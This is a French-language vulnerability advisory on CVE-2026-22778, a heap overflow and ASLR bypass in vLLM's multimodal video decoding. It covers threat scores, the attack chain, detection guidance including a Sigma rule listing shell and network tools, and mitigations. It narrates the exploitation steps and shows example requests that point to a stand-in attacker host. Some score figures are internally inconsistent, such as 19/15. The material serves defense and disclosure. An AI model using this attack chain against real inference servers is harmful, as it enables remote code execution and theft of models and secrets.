Aller au contenu

CVE-2026-22778 : dépassement de tas et contournement d'ASLR dans le traitement multimodal de vLLM

HERMES

SCORE DE MENACE HERMES & RCE SUR L'INFRASTRUCTURE D'INFÉRENCE

Cible : Serveur d'inférence vLLM — Processeur d'entrées vidéo et décodeur multimodal
Confiance : 98%
97 / 100
EXTRÊME

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 19 / 20
Militarisation 20 / 20
Exposition 19 / 20
Prévalence 19 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le standard CVSS v3.1 attribue à la CVE-2026-22778 le score critique de 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), en parfaite concordance avec le score Hermes Threat Score de 97 (EXTRÊME). Le moteur vLLM constitue l'épine dorsale du service d'inférence des modèles de langage et modèles vision-langage (VLM). La compromission d'un nœud d'inférence octroie un accès direct aux poids de modèles propriétaires, aux adaptateurs de fine-tuning d'entreprise, à la mémoire vidéo des accélérateurs GPU et aux secrets d'API hébergés dans les variables d'environnement.

HASS

SÉVÉRITÉ AGENTIQUE HASS & SUBVERSION DE LA PERCEPTION MULTIMODALE

Cible : Moteur de tokenisation multimodale, décodeurs vidéo natifs et exécution système
Confiance : 96%
94 / 100
CRITIQUE

Mesure le risque systémique spécifique découlant de l'autonomie, de l'autorité des outils et de l'exécution en cascade.

Décomposition des dimensions
Autonomie décisionnelle 18 / 20
Accès aux outils & APIs 19 / 20
Privilege 19 / 15
Persistence 17 / 15
External Impact 19 / 15
Propagation 18 / 15
⚖️ Divergence & Justification opérationnelle

Cette vulnérabilité met en lumière l'effondrement de la frontière de confiance dans le pipeline de perception des architectures IA agentiques. Lorsqu'un agent autonome ingère des flux vidéo ou des médias externes pour des tâches de raisonnement visuel, les bibliothèques de décodage sous-jacentes constituent la porte d'entrée physique vers l'environnement d'exécution. Une corruption de mémoire native au stade du décodage neutralise tous les filtres de sécurité avant même la tokenisation des invites.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-22778: vLLM Multimodal Video URL Heap Overflow and ASLR Bypass RCEVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTvLLM Inference Engine
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in vLLM Inference Engine documented in Hermes dossier.”

Preuves vérifiées associées :

Dans les architectures multimodales actuelles, les modèles traitent les vidéos en échantillonnant des images converties en représentations tensorielles. Le composant vllm.multimodal expose cette capacité via les points de terminaison standard de complétion (/v1/chat/completions) acceptant des blocs video_url :

{
"model": "qwen-vl-max",
"messages": [
{
"role": "user",
"content": [
{ "type": "text", "text": "Décris cette vidéo :" },
{ "type": "video_url", "video_url": { "url": "https://domaine-attaquant.tld/payload.mp4" } }
]
}
]
}
ParamètreDétail techniqueImpact opérationnel
Identifiant CVECVE-2026-22778Avis GitHub GHSA-4r2x-xpjr-7cvv
Classe de vulnérabilitéDépassement de tas (CWE-122) & fuite d’adresses (CWE-209)Exécution de code à distance sans authentification
Composant affectévllm.multimodal.inputs et pipeline OpenCV/FFmpegDécodage natif de médias
Vecteurs de déclenchementRequête HTTP POST non authentifiée avec video_url manipuléAPI d’inférence accessible sur le réseau
Authentification requiseAucune (PR:N) dans les configurations standardExploitation à distance sans interaction utilisateur
ImpactPrise de contrôle de l’hôte, vol de modèles et compromission GPUShell interactif sous le compte de service vLLM
Versions vulnérables>= 0.8.3, < 0.14.1Déploiements multimodaux
Version correctivevLLM 0.14.1Dépôt officiel GitHub et PyPI

La chaîne d’attaque repose sur la conjonction de deux défaillances logicielles distinctes : le contournement d’ASLR suivi d’une corruption de structures C++ sur le tas.

Phase 1 : fuite de pointeurs de tas (contournement d’ASLR)

Section intitulée « Phase 1 : fuite de pointeurs de tas (contournement d’ASLR) »

Lors du traitement d’images multimodales, vLLM utilise la bibliothèque PIL (PIL.Image.open). Si l’image fournie est tronquée ou malformée, PIL lève une exception interne dont le texte contient les adresses brutes en mémoire des structures C sous-jacentes (telles que ImagingCore à l’adresse 0x7f8a3c2041a0).

Le serveur d’API vLLM relayait directement ce message d’erreur non assaini dans la réponse HTTP 400 Bad Request :

# Gestion vulnérable dans vllm/entrypoints/openai/serving_chat.py
try:
image_data = load_image_from_url(url)
except Exception as e:
# ANOMALIE : renvoie l'adresse mémoire du tas directement au client HTTP
return self.create_error_response(HTTPStatus.BAD_REQUEST, message=f"Failed to decode image: {str(e)}")

En interrogeant l’API avec des données tronquées, l’attaquant cartographie la disposition du tas et des bibliothèques dynamiques, rendant ASLR inopérant.

Phase 2 : dépassement de tampon jpeg2000 dans OpenCV et FFmpeg

Section intitulée « Phase 2 : dépassement de tampon jpeg2000 dans OpenCV et FFmpeg »

Une fois les adresses calculées, l’attaquant transmet une URL pointant vers un flux vidéo JPEG2000 (libavcodec / OpenJPEG) spécialement conçu. Lors de l’extraction des images :

  1. vLLM sollicite cv2.VideoCapture pour découper la vidéo en images individuelles.
  2. L’en-tête du paquet de tuiles JPEG2000 (SOT - Start of Tile) contient un champ de longueur falsifié, provoquant l’allocation d’un tampon mémoire trop restreint sur le tas glibc.
  3. La décompression écrit les données de pixels au-delà des limites allouées, écrasant les métadonnées et structures mémoire adjacentes.
┌─────────────────────────────────────────────────────────────────────────────┐
│ ÉTAT DU TAS CORROMPU │
├──────────────────────────────────────┬──────────────────────────────────────┤
│ Tampon d'image JPEG2000 alloué │ Structure FFmpeg AVBufferRef voisine │
│ [ 0x7f8a40001000 - 0x7f8a40001400 ] │ [ 0x7f8a40001400 - 0x7f8a40001480 ] │
│ Données malveillantes (shellcode) │ -> pointeur data │
│ === DÉPASSEMENT AU-DELÀ DU BLOC ===> │ -> pointeur free : [ 0x414141414141 ]│
└──────────────────────────────────────┴──────────────────────────────────────┘

Ce dépassement cible précisément la structure AVBuffer voisine. En remplaçant le pointeur de fonction free par l’adresse de system() (déterminée en phase 1) et en orientant le pointeur de données vers /bin/bash, la libération du tampon par FFmpeg déclenche l’exécution immédiate du shell.


L’attaque se déroule sans aucune authentification préalable :

  1. Reconnaissance et profilage mémoire : l’attaquant soumet une image volontairement corrompue à /v1/chat/completions. La réponse 400 divulgue l’adresse d’un pointeur sur le tas.
  2. Calcul des adresses cibles : à l’aide des décalages connus de la glibc (sur conteneur officiel vLLM), l’attaquant calcule l’emplacement exact de system() et du tampon contenant sa charge utile.
  3. Préparation du flux multimédia : l’attaquant héberge un fichier vidéo exploit.mp4 dont la piste JPEG2000 contient les dimensions forgées pour écraser la structure AVBuffer.
  4. Appel de l’inférence : l’attaquant émet une requête avec le bloc {"type": "video_url", "video_url": {"url": "http://attaquant.tld/exploit.mp4"}}.
  5. Extraction des trames et corruption : le thread de décodage de vLLM télécharge le média, décompresse l’image JPEG2000 et écrase le pointeur free.
  6. Détournement du flux d’exécution : lors de l’appel à av_buffer_unref(), l’exécution bascule vers system(), ouvrant un shell interactif inversé au profit de l’attaquant.

L’analyse de l’exploitation de la CVE-2026-22778 requiert la surveillance conjointe des journaux d’accès HTTP et de l’arbre des processus du conteneur d’inférence.

  • Journaux d’accès vLLM : repérer des séries d’erreurs 400 consécutives mentionnant Failed to decode image, suivies immédiatement d’un appel incluant une URL vidéo externe.
  • Traces de plantage système : en cas de corruption imparfaite, le processus Python s’effondre avec des erreurs de type segfault ou double free or corruption consignées dans journalctl ou dmesg :
    kernel: python3[184201]: segfault at 7f8a41414141 ip 00007f8a3d8b12f4 sp 00007ffe349a11e0 error 4 in libavcodec.so.58
  • Génération anormale de sous-processus : le serveur vLLM s’exécute sous python3. Dans des conditions opérationnelles normales, il n’invoque jamais de shells système. Toute instanciation de /bin/sh, /bin/bash, curl ou nc par le processus parent Python constitue un indicateur de compromission direct.
  • Connexions réseau sortantes : surveiller les sockets réseau initiées par le serveur d’inférence vers des adresses IP non autorisées sur des ports inhabituels (4444, 8443, 1337).

title: Shell suspect issu du serveur d'inférence vLLM
id: b47e9231-591a-4d2c-8067-1a8c9e422778
status: experimental
description: Détecte l'apparition d'un shell interactif ou d'un utilitaire réseau issu de vLLM, signalant l'exploitation de la CVE-2026-22778.
logsource:
category: process_creation
product: linux
detection:
selection_parent:
ParentCommandLine|contains:
- 'vllm.entrypoints'
- 'vllm.entrypoints.openai.api_server'
selection_child:
Image|endswith:
- '/bin/sh'
- '/bin/bash'
- '/bin/dash'
- '/usr/bin/curl'
- '/usr/bin/wget'
- '/usr/bin/nc'
condition: selection_parent and selection_child
level: critical
tags:
- attack.execution
- attack.t1059.004
- cve.2026-22778

  1. Mise à jour vLLM : migrer immédiatement vers vLLM version 0.14.1 ou supérieure. Cette version neutralise la propagation des erreurs mémoire et intègre des contrôles renforcés sur les décodeurs multimédias.
  2. Désactivation des entrées vidéo (contournement d’urgence) : s’il est impossible de déployer la mise à jour immédiatement, désactiver le décodage vidéo distant en ajoutant le paramètre --limit-mm-per-prompt image=0,video=0 aux drapeaux de démarrage de vLLM.
  • Filtrage des flux réseau sortants : interdire aux conteneurs vLLM d’émettre des requêtes vers l’internet public. Configurer des règles de sortie strictes limitant l’accès aux seuls dépôts de modèles internes.
  • Confinement de conteneur : exécuter le conteneur avec un système de fichiers en lecture seule (readOnlyRootFilesystem: true), supprimer toutes les capacités Linux (capDrop: ["ALL"]) et refuser l’élévation de privilèges (allowPrivilegeEscalation: false).
  • Passerelle de transcodage isolée : si l’ingestion de médias distants est nécessaire, faire transiter les flux par un serveur mandataire dédié chargé de re-décoder et de convertir les vidéos en MP4/H.264 standard avant transmission à vLLM.